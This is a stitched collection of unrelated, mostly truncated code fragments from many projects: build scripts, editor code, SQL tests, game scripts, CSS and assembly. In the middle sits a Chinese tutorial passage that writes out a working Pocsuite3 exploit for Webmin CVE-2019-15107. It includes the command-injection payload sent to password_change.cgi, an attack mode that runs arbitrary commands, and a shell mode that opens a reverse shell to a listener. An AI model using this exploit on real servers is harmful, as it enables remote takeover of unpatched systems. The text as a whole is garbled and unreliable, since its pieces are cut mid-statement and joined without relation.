    val OP_TRIM: String = hide("trim")
    val OP_TRIM_CHARS: String = hide("trim_chars")
    val OP_TRIM_LEADING: String = hide("trim_leading")
    val OP_TRIM_LEADING_CHARS: String = hide("trim_leading_chars")
    val OP_TRIM_TRAILING: String = hide("trim_trailing")
    val OP_TRIM_TRAILING_CHARS: String = hide("trim_trailing_chars")
    val OP_PLUS: String = hide("plus")
    val OP_MINUS: String = hide("minus")
    val OP_DIVIDE: String = hide("divide")
    val OP_TIMES: String = hide("times")
    val OP_BITWISE_AND: String = hide("bitwise_and")
    val OP_CONCAT: String = hide("concat")
    val OP_NEG: String = hide("neg")
    val OP_POS: String = hide("pos")
    val OP_EQ: String = hide("eq")
    val OP_GTE: String = hide("gte")


_CLASS_NAME = ClassName(JUNIT4_PACKAGE, "createComposeRule")
        private val INSTRUMENTATION_REGISTRY_CLASS_NAME =
            ClassName("androidx.test.platform.app", "InstrumentationRegistry")
        private val GRANT_PERMISSION_RULE_CLASS_NAME = ClassName("androidx.test.rule",
            "GrantPermissionRule")
        private val JVM_FIELD_CLASS_NAME = ClassName("kotlin.jvm", "JvmField")
        private val MANIFEST_CLASS_NAME = ClassName("android", "Manifest")
    }
}
plugins {
  id("io.airbyte.gradle.jvm.lib")
  id("io.airbyte.gradle.publish")
}

dependencies {
  ksp(platform(libs.micronaut.platform))
  ksp(libs.bundles.micronaut.annotation.processor)

  api(libs.bundles.micronaut.annotation)
  api(libs.bundles.micronaut.kotlin)
  api(libs.bundles.micronaut.metrics)
  api(libs.kotlin.logging)
  api(libs.azure.storage)
  api(libs.aws.java.sdk.s3)
  api(libs.aws.java.sdk.sts)
  api(libs.s3)
  api(libs.google.cloud.storage)
  api(libs.guava)
  api(libs.slf4j.api)
  api(libs.jackson.kotlin)

  api(project(":oss:airbyte-commons"))
  api(project(":oss:airbyte-commons-micronaut"))
  api(project(":oss:airbyte-metrics:metrics-lib"))
  api(project(":oss:airbyte-featureflag"))

  implementation(libs.micronaut.inject)
  implementation(libs.bundles.logback)
  implementation(libs.jackson.annotations)
  implementation(libs.jackson.databind)
  implementation(libs.kotlin.coroutines)

  kspTest(libs.bundles.micronaut.test.annotation.processor)

  testImplementation(libs.bundles.micronaut.test)
  testImplementation(libs.bundles.junit)
  testImplementation(libs.mockk)
}
plugins {
  id("io.airbyte.gradle.jvm.app")
  id("io.airbyte.gradle.publish")
  id("io.airbyte.gradle.docker")
}

configurations.all {
  exclude(group = "io.micronaut", module = "micronaut-http-server-netty")
  exclude(group = "io.micronaut.openapi")
  exclude(group = "io.micronaut.flyway")
  exclude(group = "io.micronaut.http")
  exclude(group = "io.micronaut.jaxrs")
  exclude(group = "io.micronaut.email")
  exclude(group = "io.micronaut.validation")
  exclude(group = "io.micronaut.reactor")
  exclude(group = "io.micronaut.kotlin")
  exclude(group = "io.micronaut.acme")
  exclude(group = "io.micronaut.aws")
  exclude(group = "io.micronaut.azure")
  exclude(group = "io.micronaut.cassandra")
  exclude(group = "io.micronaut.chatbots")
  exclude(group = "io.micronaut.coherence")
  exclude(group = "io.micronaut.controlpanel")
}

dependencies {
  ksp(platform(libs.micronaut.platform))
  ksp(libs.bundles.micronaut.annotation.processor)

  implementation(platform(libs.micronaut.platform))
  implementation(libs.kotlin.logging)
  implementation(libs.micronaut.jackson.databind)
  implementation(libs.slf4j.api)
  implementation(libs.micronaut.jooq)
  implementation(libs.bundles.micronaut.metrics)
  implementation(libs.retrofit)

  implementation(project(":oss:airbyte-api:server-api"))
  implementation(project(":oss:airbyte-api:workload-api"))
  implementation(project(":oss:air


de) { GuiCursorAttributesBuilder() }.updateFrom(entry)
    }

    fun updateAllModes(entry: GuiCursorEntry) {
      GuiCursorMode.entries.filter { it != GuiCursorMode.ALL }.forEach {
        updateMode(it, entry)
      }
    }

    fun build() = builders.map { it.key to it.value.build() }.toMap()
  }
}

enum class GuiCursorMode(val token: String) {
  NORMAL("n"),
  VISUAL("v"),
  VISUAL_EXCLUSIVE("ve"),
  OP_PENDING("o"),
  INSERT("i"),
  REPLACE("r"),
  CMD_LINE("c"),
  CMD_LINE_INSERT("ci"),
  CMD_LINE_REPLACE("cr"),
  SHOW_MATCH("sm"),
  ALL("a"),
  ;

  override fun toString(): String = token

  companion object {
    fun fromString(s: String): GuiCursorMode? = entries.firstOrNull { it.token == s }

    // Also used in FleetVim as direct call
    fun fromMode(mode: Mode, isReplaceCharacter: Boolean): GuiCursorMode {
      if (isReplaceCharacter) {
        // Can be true for NORMAL and VISUAL
        return REPLACE
      }

      // TODO: SELECT should behave the same as VISUAL
      // Note that IdeaVim incorrectly treats Select mode as exclusive at all times, regardless of the 'selection'
      // option. Previously, we would use the Insert cursor to try to make Select mode feel more intuitive, like a
      // "traditional" Windows-like selection, especially with 'idearefactormode' defaults and live template fields
      // during a refactoring. However, at some point, we need to fix the exclusive/inclusive nature, and then the caret
      // shape will be more important - if the selection is inclusive, a bar caret on the last (selected) character will
      // look weird
      return when (mode) {
        is Mode.NORMAL -> NORMAL
        is Mode.OP_PENDING -> OP_PENDING
        Mode.INSERT -> INSERT
        Mode.REPLACE -> REPLACE
        is Mode.SELECT -> VISUAL_EXCLUSIVE  // TODO: Should match VISUAL
        is Mode.VISUAL -> if (injector.globalOptions().selection == "exclusive") VISUAL_EXCLUSIVE else VISUAL
        // This doesn't handle ci and cr, but we don't care - our CMD_LINE will never call this
        is Mode.CMD_LINE -> CMD_LINE
      }
    }
  }
}

enum class GuiCursorType(val token: String) {
  BLOCK("block"),
  VER("ver"),
  HOR("hor"),
}

class GuiCursorEntry(
  val modes: EnumSet<GuiCursorMode>,
  val type: GuiCursorType?,
  val thickness: Int?,
  val highlightGroup: String,
  val lmapHighlightGroup: String,
  val blinkModes: List<String>,
)

data class GuiCursorAttributes(
  val type: GuiCursorType,
  val thickness: Int,
  val highlightGroup: String,
  val lmapHighlightGroup: String,
  val blinkModes: List<String>,
) {
  companion object {
    val DEFAULT: GuiCursorAttributes = GuiCursorAttributes(
      GuiCursorType.BLOCK,
      thickness = 0,
      highlightGroup = "",
      lmapHighlightGroup = "",
      blinkModes = emptyList()
    )
  }
}
/*
 * Copyright 2003-2023 The IdeaVim authors
 *
 * Use of this source code is governed by an MIT-style
 * license that can be found in the LICENSE.txt file or at
 * https://opensource.org/licenses/MIT.
 */

package com.maddyhome.idea.vim.regexp.engine.nfa.matcher

import com.maddyhome.idea.vim.api.VimCaret
import com.maddyhome.idea.vim.api.VimEditor
import com.maddyhome.idea.vim.regexp.match.VimMatchGroupCollection

/**
 * Matcher used to match a character against a predicate
 *
 * @param predicate The predicate used to check if the character should be accepted


msgCount.ToString();
                        }

                        if (ReflectionHelper.GetAttr<SavedBool>(ChirpPanel.instance, "m_AutoExpand").value)
                        {
                            ChirpPanel.instance.Show(ChirpPanel.instance.m_


        CookieToken::DoubleQuote => "CookieToken::DoubleQuote",
        }
    }
}

impl Display for CookieToken {
    fn fmt(&self, f: &mut Formatter) -> Result<(), FormatterError> {
        f.write_str(self.as_str())
    }
}

macro_rules! try_str_match {
    ($token:path, $pattern:expr, $data:expr, $cursor:expr) => {{
        const PATTERN_STR: &'static str = $pattern;
        if matching::is_str_match($data, PATTERN_STR) {
            let token_idx = $cursor;
            let token_end = token_idx + PATTERN_STR.len();
            $cursor = token_end;
            return Some(Ok((token_idx, $token, token_end)));
        }
    };};
}

macro_rules! try_fn_match {
    ($token:path, $fn:path, $data:expr, $cursor:expr) => {{
        let mut is_match = true;
        let mut last_cursor_char: Option<(usize, char)> = None;
        for (cursor_char_idx, cursor_char) in $data[$cursor..].iter() {
            if $fn(*cursor_char) {
                last_cursor_char = Some((*cursor_char_idx, *cursor_char));
            } else {
                if last_cursor_char == None {
                    is_match = false;
                }

                break;
            }
        }

        if is_match {
            if let Some((last_cursor_char_idx_val, last_cursor_char_val)) = last_cursor_char {
                let token_idx = $cursor;
                let token_end = last_cursor_char_idx_val + last_cursor_char_val.len_utf8();
                $cursor = token_end;
                return Some(Ok((token_idx, $token, token_end)));
            }
        }
    };};
}

macro_rules! try_nonrepeating_char_match {
    ($token:path, $chr:expr, $data:expr, $cursor:expr) => {{
        let (_, char_val) = $data[$cursor];
        if char_val == $chr
            && ($data.len() == $cursor + 1 || {
                let (_, next_char) = $data[$cursor + 1];
                next_char != $chr
            })
        {
            let token_idx = $cursor;
            let token_end = token_idx + char_val.len_utf8();
            $cursor = token_end;
            return Some(Ok((token_idx, $token, token_end)));
        }
    };};
}

pub(crate) struct CookieLexer<'input> {
    cursor: usize,
    data: &'input str,
    char_indices: Vec<(usize, char)>,
}

impl<'input> CookieLexer<'input> {
    pub fn new(data: &'input str) -> CookieLexer<'input> {
        CookieLexer {
            cursor: 0,
            data: data,
            char_indices: data.char_indices().collect(),
        }
    }

    fn substr_at_cursor(&self) -> Option<&'input str> {
        self.data.get(self.cursor..)
    }

    fn get_next_token(&mut self) -> Option<Result<(usize, CookieToken, usize), CookieLexerError>> {
        let cursor_str = match self.substr_at_cursor() {
            Some(val) => val,
            None => return None,
        };

        if cursor_str.len() == 0 {
            return None;
        }

        try_nonrepeating_char_match!(CookieToken::Space, ' ', self.char_indices, self.cursor);

        try_str_match!(CookieToken::Equals, "=",


(6)
        param = f'echo {flag}'
        res = self._exploit(param)
        if res and flag in res:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
            result['VerifyInfo'][param] = res
        # 统一调用 self.parse_output() 返回结果
        return self.parse_output(result)

    # attack 模式的实现
    def _attack(self):
        result = {}
        # self.get_option() 方法可以获取自定义的命令行参数
        param = self.get_option('cmd')
        res = self._exploit(param)
        result['VerifyInfo'] = {}
        result['VerifyInfo']['URL'] = self.url
        result['VerifyInfo'][param] = res
        # 统一调用 self.parse_output() 返回结果
        return self.parse_output(result)

    # shell 模式的实现
    def _shell(self):
        try:
            self._exploit(REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port()))
        except Exception:
            pass

# 将该 PoC 注册到框架。
register_poc(DemoPOC)
```

在以上 PoC 模版的基础上，结合漏洞细节，
重写
_exploit()
 方法
，如下：
```
```
```
def _exploit(self, param=''):
    if not self._check(dork='<title>Login to Webmin</title>'):
        return False

    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'Referer': f'{self.url}/session_login.cgi'
    }
    payload = f'user=rootxx&pam=&expired=2&old=test|{param}&new1=test2&new2=test2'
    res = requests.post(f'{self.url}/password_change.cgi', headers=headers, data=payload)
    logger.debug(res.text)
    return res.text.split('The current password is incorrect')[-1].split('
')[0]
```

然后就是搭建 docker 靶场测试了
，docker run -it --rm -p 10000:10000 pocsuite3/cve-2019-15107
。

verify 模式 ok：

![](https://mmbiz.qpic.cn/mmbiz_png/3k9IT3oQhT1MbPOQmM0ZvzkXgtdfHn4ZJkmenHCVO3gtibLV0ffjyHO48qDiaRxB8ofAX9YIHLeajCfTd1RicWIzw/640?wx_fmt=png "")

attack 模式获取命令行参数执行并返回结果
，
--options
 参数
可以查看 PoC 定义的额外命令行参数：

![](https://mmbiz.qpic.cn/mmbiz_png/3k9IT3oQhT1MbPOQmM0ZvzkXgtdfHn4Z5V06FUYQiasTuicn093hFrxibtjkkgM14k8BW3HfqicQLrhh9Ut1QYofibA/640?wx_fmt=png "")


d4be35bb015739ff3">httpc.c

HTTPC_ReceiveData()
: httpc.c
, httpc.h

HTTPC_RESULTCODE_DOWNLOADPENDING
: httpc.h

HTTPC_SetProxyDefault()
: httpc.h
, httpc.c

httpcAddRequestHeaderField()
: httpc.c

httpcBeginRequest()
: httpc.h
, httpc.c

httpcCloseContext()
: httpc.h
, httpc.c

httpcDownloadData()
: httpc.h
, httpc.c

httpcExit()
: httpc.h
, httpc.c

httpcGetDownloadSizeState()
: httpc.c
, httpc.h

httpcGetRequestState()
: httpc.c
, httpc.h

httpc


up by grouping sets ( (deptno), CUBE(ename, deptno))\n"
        + "order by 2";
    sql(sql).ok();
  }

  @Test void testGroupingSetsWithRollupCube() {
    final String sql = "select deptno, ename, sum(sal) from emp\n"
        + "group by grouping sets ( CUBE(deptno), ROLLUP(ename, deptno))\n"
        + "order by 2";
    sql(sql).ok();
  }

  @Test void testGroupingSetsProduct() {
    // Example in SQL:2011:
    //   GROUP BY GROUPING SETS ((A, B), (C)), GROUPING SETS ((X, Y), ())
    // is transformed to
    //   GROUP BY GROUPING SETS ((A, B, X, Y), (A, B), (C, X, Y), (C))
    final String sql = "select 1\n"
        + "from (values (0, 1, 2, 3, 4)) as t(a, b, c, x, y)\n"
        + "group by grouping sets ((a, b), c), grouping sets ((x, y), ())";
    sql(sql).ok();
  }

  /** When the GROUPING function occurs with GROUP BY (effectively just one
   * grouping set), we can translate it directly to 1. */
  @Test void testGroupingFunctionWithGroupBy() {
    final String sql = "select\n"
        + "  deptno, grouping(deptno), count(*), grouping(empno)\n"
        + "from emp\n"
        + "group by empno, deptno\n"
        + "order by 2";
    sql(sql).ok();
  }

  @Test void testGroupingFunction() {
    final String sql = "select\n"
        + "  deptno, grouping(deptno), count(*), grouping(empno)\n"
        + "from emp\n"
        + "group by rollup(empno, deptno)";
    sql(sql).ok();
  }

  /**
   * GROUP BY with duplicates.
   *
   *
From SQL spec:
   *
NOTE 190 — That is, a simple group by clause
   * that is not primitive may be transformed into a primitive group by
   * clause by deleting all parentheses, and deleting extra commas as
   * necessary for correct syntax. If there are no grouping columns at all (for
   * example, GROUP BY (), ()), this is transformed to the canonical form GROUP
   * BY ().
   *
 */
  // Same effect as writing "GROUP BY ()"
  @Test void testGroupByWithDuplicates() {
    sql("select sum(sal) from emp group by (), ()").ok();
  }

  /** GROUP BY with duplicate (and heavily nested) GROUPING SETS. */
  @Test void testDuplicateGroupingSets() {
    final String sql = "select sum(sal) from emp\n"
        + "group by sal,\n"
        + "  grouping sets (deptno,\n"
        + "    grouping sets ((deptno, ename), ename),\n"
        + "      (ename)),\n"
        + "  ()";
    sql(sql).ok();
  }

  @Test void testGroupingSetsCartesianProduct() {
    // Equivalent to (a, c), (a, d), (b, c), (b, d)
    final String sql = "select 1\n"
        + "from (values (1, 2, 3, 4)) as t(a, b, c, d)\n"
        + "group by grouping sets (a, b), grouping sets (c, d)";
    sql(sql).ok();
  }

  @Test void testGroupingSetsCartesianProduct2() {
    final String sql = "select 1\n"
        + "from (values (1, 2, 3, 4)) as t(a, b, c, d)\n"
        + "group by grouping sets (a, (a, b)), grouping sets


{{item.chongdianzhuangOrderValue}}

                        <button v-if="item.chongdianzhuangOrderTypes==101" @click="refund(item.id)" type="button" class="layui-btn layui-btn-sm layui-btn-radius layui-btn-warm">
                             取消预约
                        </button>
                        <button v-if="item.chongdianzhuangOrderTypes==103" @click="receiving(item.id)" type="button" class="layui-btn layui-btn-sm layui-btn-radius layui-btn-warm">
                             完成充电
                        </button>

<link rel="stylesheet" href="../../xznstatic/css/element.min.css">


-----------------------------------
-- Freezebite
-- Great Sword weapon skill
-- Skill Level: 100
-- Delivers an ice elemental attack. Damage varies with TP.
-- Aligned with the Snow Gorget & Breeze Gorget.
-- Aligned with the Snow Belt & Breeze Belt.
-- Element: Ice
-- Modifiers: STR:30%  INT:20%
-- 100%TP    200%TP    300%TP
-- 1.00      1.50      3.00
-----------------------------------

require("scripts/globals/status")
require("scripts/globals/settings")
require("scripts/globals/weaponskills")
require("scripts/globals/monstertpmoves")
-----------------------------------
function onMobSkillCheck(target,mob,skill)
    return 0
end

function onMobWeaponSkill(target, mob, skill)


trip;
            }
        }
    }
    return NULL;
}

void DraggedTabController::Attach(BaseTabStrip* attached_tabstrip,
                                  const gfx::Point& screen_point)
{
    DCHECK(!attached_tabstrip_); // We should already have detached by the time
                                 // we get here.

    attached_tabstrip_ = attached_tabstrip;

    // And we don't need the dragged view.
    view_.reset();

    std::vector<BaseTab*> tabs =
        GetTabsMatchingDraggedContents(attached_tabstrip_);

    if(tabs.empty())
    {
        // There is no Tab in |attached_tabstrip| that corresponds to the dragged
        // TabContents. We must now create one.

        // Remove ourselves as the delegate now that the dragged TabContents is
        // being inserted back into a Browser.
        for(size_t i=0; i<drag_data_.size(); ++i)
        {
            drag_data_[i].contents->tab_contents()->set_delegate(NULL);
            drag_data_[i].original_delegate = NULL;
        }

        // Return the TabContents' to normalcy.
        source_dragged_contents()->tab_contents()->set_capturing_contents(false);

        // Inserting counts as a move. We don't want the tabs to jitter when the
        // user moves the tab immediately after attaching it.
        last_move_screen_loc_ = MajorAxisValue(screen_point, attached_tabstrip);

        // Figure out where to insert the tab based on the bounds of the dragged
        // representation and the ideal bounds of the other Tabs already in the
        // strip. ("ideal bounds" are stable even if the Tabs' actual bounds are
        // changing due to animation).
        gfx::Point tab_strip_point(screen_point);
        view::View::ConvertPointToView(NULL, attached_tabstrip_, &tab_strip_point);
        tab_strip_point.set_x(
            attached_tabstrip_->GetMirroredXInView(tab_strip_point.x()));
        tab_strip_point.Offset(-mouse_offset_.x(), -mouse_offset_.y());
        gfx::Rect bounds = GetDraggedViewTabStripBounds(tab_strip_point);
        int index = GetInsertionIndexForDraggedBounds(bounds);
        attached_tabstrip_->set_attaching_dragged_tab(true);
        for(size_t i=0; i<drag_data_.size(); ++i)
        {
            int add_types = TabStripModel::ADD_NONE;
            GetModel(attached_tabstrip_)->InsertTabContentsAt(
                index + i, drag_data_[i].contents, add_types);
        }
        attached_tabstrip_->set_attaching_dragged_tab(false);

        tabs = GetTabsMatchingDraggedContents(attached_tabstrip_);
    }
    DCHECK_EQ(tabs.size(), drag_data_.size());
    for(size_t i=0; i<drag_data_.size(); ++i)
    {
        drag_data_[i].attached_tab = tabs[i];
    }

    attached_tabstrip_->StartedDraggingTabs(tabs);

    ResetSelection(GetModel(attached_tabstrip_));

    if(attached_tabstrip_->type() == BaseTabStrip::HORIZONTAL_TAB_STRIP)
    {
        // The size of the dragged tab may have changed. Adjust the x offset so that
        // ratio of mouse_offset_ to original width is maintained.
        std::vector<BaseTab*> tabs_to_source(tabs);
        tabs_to_source.erase(tabs_to_source.begin() + source_tab_index_ + 1,
            tabs_to_source.end());
        int new_x = attached_tabstrip_->GetSizeNeededForTabs(tabs_to_source) -
            tabs[source_tab_index_]->width() +
            static_cast<int>(offset_to_width_ratio_ *
            tabs[source_tab_index_]->width());
        mouse_offset_.set_x(


	}
	return true;
}

export function inferModelType(canvas: TextureCanvas): ModelType {
	// The right arm area of *default* skins:
	// (44,16)->*-------*-------*
	// (40,20)  |top    |bottom |
	// \|/      |4x4    |4x4    |
	//  *-------*-------*-------*-------*
	//  |right  |front  |left   |back   |
	//  |4x12   |4x12   |4x12   |4x12   |
	//  *-------*-------*-------*-------*
	// The right arm area of *slim* skins:
	// (44,16)->*------*------*-*
	// (40,20)  |top   |bottom| |<----[x0=50,y0=16,w=2,h=4]
	// \|/      |3x4   |3x4   | |
	//  *-------*------*------***-----*-*
	//  |right  |front |left   |back  | |<----[x0=54,y0=20,w=2,h=12]
	//  |4x12   |3x12  |4x12   |3x12  | |
	//  *-------*------*-------*------*-*
	// Compared with default right arms, slim right arms have 2 unused areas.
	//
	// The same is true for left arm:
	// The left arm area of *default* skins:
	// (36,48)->*-------*-------*
	// (32,52)  |top    |bottom |
	// \|/      |4x4    |4x4    |
	//  *-------*-------*-------*-------*
	//  |right  |front  |left   |back   |
	//  |4x12   |4x12   |4x12   |4x12   |
	//  *-------*-------*-------*-------*
	// The left arm area of *slim* skins:
	// (36,48)->*------*------*-*
	// (32,52)  |top   |bottom| |<----[x0=42,y0=48,w=2,h=4]
	// \|/      |3x4   |3x4   | |
	//  *-------*------*------***-----*-*
	//  |right  |front |left   |back  | |<----[x0=46,y0=52,w=2,h=12]
	//  |4x12   |3x12  |4x12   |3x12  | |
	//  *-------*------*-------*------*-*
	//
	// If there is a transparent pixel in any of the 4 unused areas, the skin must be slim,
	// as transparent pixels are not allowed in the first layer.
	// If the 4 areas are all black or all white, the skin is also considered as slim.

	const scale = computeSkinScale(canvas.width);
	const context = canvas.getContext("2d", { willReadFrequently: true }) as CanvasContext;
	const checkTransparency = (x: number, y: number, w: number, h: number): boolean =>
		hasTransparency(context, x * scale, y * scale, w * scale, h * scale);
	const checkBlack = (x: number, y: number, w: number, h: number): boolean =>
		isAreaBlack(context, x * scale, y * scale, w * scale, h * scale);
	const checkWhite = (x: number, y: number, w: number, h: number): boolean =>
		isAreaWhite(context, x * scale, y * scale, w * scale, h * scale);
	const isSlim =
		(
			checkTransparency(50, 16, 2, 4) ||
			checkTransparency(54, 20, 2, 12) ||
			checkTransparency(42, 48, 2, 4) ||
			checkTransparency(46, 52, 2, 12)
		) ||
		(
			checkBlack(50, 16, 2, 4) &&
			checkBlack(54, 20, 2, 12) &&
			checkBlack(42, 48, 2, 4) &&
			checkBlack(46, 52, 2, 12)
		) ||
		(
			checkWhite(50, 16, 2, 4) &&
			checkWhite(54, 20, 2, 12) &&
			checkWhite(42, 48, 2, 4) &&
			checkWhite(46, 52, 2, 12)
		);
	return isS


l();

int sk_X509_num(const STACK_OF(X509) *sk);

int  sk_X509_push(STACK_OF(X509) *sk, const X509 *x509);
void sk_X509_pop_free(STACK_OF(X509) *sk, void (*func)(X509 *));

typedef void X509_STORE;
typedef void X509_STORE_CTX;

// used in ngx_ssl_verify_callback to save the verification info
// If Nginx is not configured `--with-debug`, i.e. define `NGX_DEBUG`, these `X509_STORE_CTX_` functions will not called
void *X509_STORE_CTX_get_ex_data(const X509_STORE_CTX *d, int idx);
X509 *X509_STORE_CTX_get_current_cert(const X509_STORE_CTX *ctx);
int   X509_STORE_CTX_get_error(const X509_STORE_CTX *ctx);
int   X509_STORE_CTX_get_error_depth(const X509_STORE_CTX *ctx);

#ifdef __cplusplus
}
#endif
#endif


on(name)
            return ("%s of lightning"):format(name)
        end,
    },
    Healer = {
        NameModifier = function(name)
            return ("%s of healing"):format(name)
        end,
    },
    ResistParalysis = {
        NameModifier = function(name)
            return ("%s of resist paralysis"):format(name)
        end,
    },
    ResistFear = {
        NameModifier = function(name)
            return ("%s of resist fear"):format(name)
        end,
    },
    ResistSleep = {
        NameModifier = function(name)
            return ("%s of resist sleep"):format(name)
        end,
    },
    Defender = {
        NameModifier = function(name)
            return ("%s of defender"):format(name)
        end,
    },
}


wrap.is-scrollable{padding:0 20px;-webkit-box-sizing:border-box;box-sizing:border-box}.el-tabs__nav-scroll{overflow:hidden}.el-tabs__nav-next,.el-tabs__nav-prev{position:absolute;cursor:pointer;line-height:44px;font-size:12px;color:#909399}.el-tabs__nav-next{right:0}.el-tabs__nav-prev{left:0}.el-tabs__nav{white-space:nowrap;position:relative;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s;float:left;z-index:2}.el-tabs__nav.is-stretch{min-width:100%;display:-webkit-box;display:-ms-flexbox;display:flex}.el-tabs__nav.is-stretch>*{-webkit-box-flex:1;-ms-flex:1;flex:1;text-align:center}.el-tabs__item{padding:0 20px;height:40px;-webkit-box-sizing:border-box;box-sizing:border-box;line-height:40px;display:inline-block;list-style:none;font-size:14px;font-weight:500;color:#303133;position:relative}.el-tabs__item:focus,.el-tabs__item:focus:active{outline:0}.el-tabs__item:focus.is-active.is-focus:not(:active){-webkit-box-shadow:0 0 2px 2px #409EFF inset;box-shadow:0 0 2px 2px #409EFF inset;border-radius:3px}.el-tabs__item .el-icon-close{border-radius:50%;text-align:center;-webkit-transition:all .3s cubic-bezier(.645,.045,.355,1);transition:all .3s cubic-bezier(.645,.045,.355,1);margin-left:5px}.el-tabs__item .el-icon-close:before{-webkit-transform:scale(.9);transform:scale(.9);display:inline-block}.el-tabs__item .el-icon-close:hover{background-color:#C0C4CC;color:#FFF}.el-tabs__item.is-active{color:#409EFF}.el-tabs__item:hover{color:#409EFF;cursor:pointer}.el-tabs__item.is-disabled{color:#C0C4CC;cursor:default}.el-tabs__content{overflow:hidden;position:relative}.el-tabs--card>.el-tabs__header{border-bottom:1px solid #E4E7ED}.el-tabs--card>.el-tabs__header .el-tabs__nav{border:1px solid #E4E7ED;border-bottom:none;border-radius:4px 4px 0 0;-webkit-box-sizing:border-box;box-sizing:border-box}.el-tabs--card>.el-tabs__header .el-tabs__active-bar{display:none}.el-tabs--card>.el-tabs__header .el-tabs__item .el-icon-close{position:relative;font-size:12px;width:0;height:14px;vertical-align:middle;line-height:15px;overflow:hidden;top:-1px;right:-2px;-webkit-transform-origin:100% 50%;transform-origin:100% 50%}.el-tabs--card>.el-tabs__header .el-tabs__item.is-active.is-closable .el-icon-close,.el-tabs--card>.el-tabs__header .el-tabs__item.is-closable:hover .el-icon-close{width:14px}.el-tabs--card>.el-tabs__header .el-tabs__item{border-bottom:1px solid transparent;border-left:1px solid #E4E7ED;-webkit-transition:color .3s cubic-bezier(.645,.045,.355,1),padding .3s cubic-bezier(.645,.045,.355,1)


The object</param>
		public override bool Equals(object obj)
		{
			return obj is Quaternion other && Equals(other);
		}

		/// <summary>Gets the hash-code for this quatern


import time
from datetime import datetime
from web3 import Web3
import requests

# Structure info
def structure_info(round_info, epoch_num):
  lock_timestamp = round_info[2]
  lock_price = round_info[4]
  close_price = round_info[5]
  lock_timestamp = round_info[2]
  total_amount = round_info[8]
  bull_amount = round_info[9]
  bear_amount = round_info[10]

  # Sleep
  time.sleep(0.2)

  # Convert datetime
  date_log = datetime.fromtimestamp(lock_timestamp)

  # Calculate Ratio
  total_amount_normal = round(float(Web3.fromWei(total_amount, "ether")), 5)
  bull_amount_normal = round(float(Web3.fromWei(bull_amount, "ether")), 5)
  bear_amount_normal = round(float(Web3.fromWei(bear_amount, "ether")), 5)

  # Normalise prices
  lock_price_normal = round(float(Web3.fromWei(lock_price, "gwei")), 5) * 10
  close_price_normal = round(float(Web3.fromWei(close_price, "gwei")), 5) * 10

  # Format prices
  lock_price_normal = float(f'{lock_price_normal:.{5}g}')
  close_price_normal = float(f'{close_price_normal:.{5}g}')

  # Ratios
  if bull_amount_normal != 0 and bear_amount_normal != 0:
    bull_ratio = round(bull_amount_normal / bear_amount_normal, 2) + 1
    bear_ratio = round(bear_amount_normal / bull_amount_normal, 2) + 1

    # Format numbers
    bull_ratio = float(f'{bull_ratio:.{3}g}')
    bear_ratio = float(f'{bear_ratio:.{3}g}')
  else:
    bull_ratio = 0
    bear_ratio = 0

  # Construct item
  item_dict = {
    "epoch": epoch_num,
    "datetime": date_log.strftime('%Y-%m-%d %H:%M:%S'),
    "hour": date_log.hour,
    "minute": date_log.minute,
    "second": date_log.second,
    "lock_price": lock_price_normal,
    "close_price": close_price_normal,
    "total_amount": total_amount_normal,
    "bull_amount": bull_amount_normal,
    "bear_amount": bear_amount_normal,
    "bull_ratio": bull_ratio,
    "bear_ratio": bear_ratio,
  }

  # Return dict
  return item_dict

# Get Unix Timestamp
def get_unix_timestamp():
  endpoint = "http://worldtimeapi.org/api/timezone/Etc/UTC"
  response = requests.get(endpoint)

  if response.status_code == 200:
    dt = response.json()["unixtime"]
    return dt
  else:
    print("No datetime available via API")
    exit(1)


,sp
               pea       user_number(pc)     ; Zahlzeile ausgeben
               move.w    #Cconws,-(sp)
               trap      #gemdos
               addq.l    #6,sp
               movem.l   (sp)+,d0-d7
               rts
;#############################################################
; eigene Versionen der DrawSprite und UndrawSprite Routinen
; die nicht auf 32KB Bildschirmspeicher begrenzt sind.
;
; mit einigen Anpassungen fr OVERSCAN
; von Bernd Gebauer 31.05.89
;

DrawSprite:
; Parameter
; D0.W : X-Koordinate des Aktionspunktes des Sprites auf Schirm
; D1.W : Y-Koordinate
; A0   : Zeiger auf SDB-Struktur
; A2   : Zeiger auf Sprite-Save-Buffer ( #Farbebenen*64 + 10 )

               move.w    6(a0),-(sp)         ; bgcol retten
               move.w    8(a0),-(sp)         ; fgcol retten

               clr.w     d2
               tst.w     4(a0)               ; form ( 1=VDI , -1=XOR )
               bge.s     lab_1
               moveq.l   #16,d2
lab_1:
               move.w    d2,-(sp)            ; offset retten

               clr.w     d2
               bclr      #1,6(a2)
               sub.w     0(a0),d0            ; X -= xhot
               bcs.s     lab_2

               move.w    RezX,d3
               subi.w    #15,d3
               cmp.w     d3,d0               ; xhot > XRez-15 ?
               bhi.s     lab_4               ; ja, weiter
               bset      #1,6(a2)            ; Clipflag setzen
               bra.s     lab_3
;-------------
lab_2:
               addi.w    #16,d0
               moveq.l   #8,d2
               bra.s     lab_3
;-------------
lab_4:
               moveq.l   #16,d2
lab_3:

               sub.w     2(a0),d1            ; Y -= yhot

               lea.l     10(a0),a0           ; Zeiger auf Sprite-Image 32Bytes
               bcs.s     lab_5

               move.w    RezY,d3
               subi.w    #15,d3
               cmp.w     d3,d1               ;
               bhi.s     lab_6
               moveq.l   #16,d5
               bra.s     lab_7
;-------------
lab_5:
               move.w    d1,d5
               addi.w    #16,d5
               asl.w     #2,d1
               suba.w    d1,a0
               clr.w     d1
               bra.s     lab_7
;-------------
lab_6:
               move.w    RezY,d5
               sub.w     d1,d5
               addq.w    #1,d5
lab_7:
; D0 = X , D1 = Y
               bsr       CalcScreenPos
; D0 = X mod 15 , D1.L = offset vom Bildschirmanfang

               movea.l   v_bas_add,a1        ; Bildspeicheradresse
               adda.l    d1,a1               ; + offset

               lea.l     func_2,a3
               move.w    d0,d6               ; X mod 15
               cmpi.w    #8,d6               ; (X mod 15) < 8 ?
               bcs.s     lab_8               ; ja, weiter
               lea.l     func_1,a3
               move.w    #16,d6
               sub.w     d0,d6               ; 16 - (X mod 15)
lab_8:

               movea.l   tab1(pc,d2.w),a5


targeted_task = self.supported_tasks["translation"]
                task = "translation"
                return task, targeted_task, (tokens[1], tokens[3])
            raise KeyError(f"Invalid translation task {task}, use 'translation_XX_to_YY' format")

        raise KeyError(
            f"Unknown task {task}, available tasks are {self.get_supported_tasks() + ['translation_XX_to_YY']}"
        )

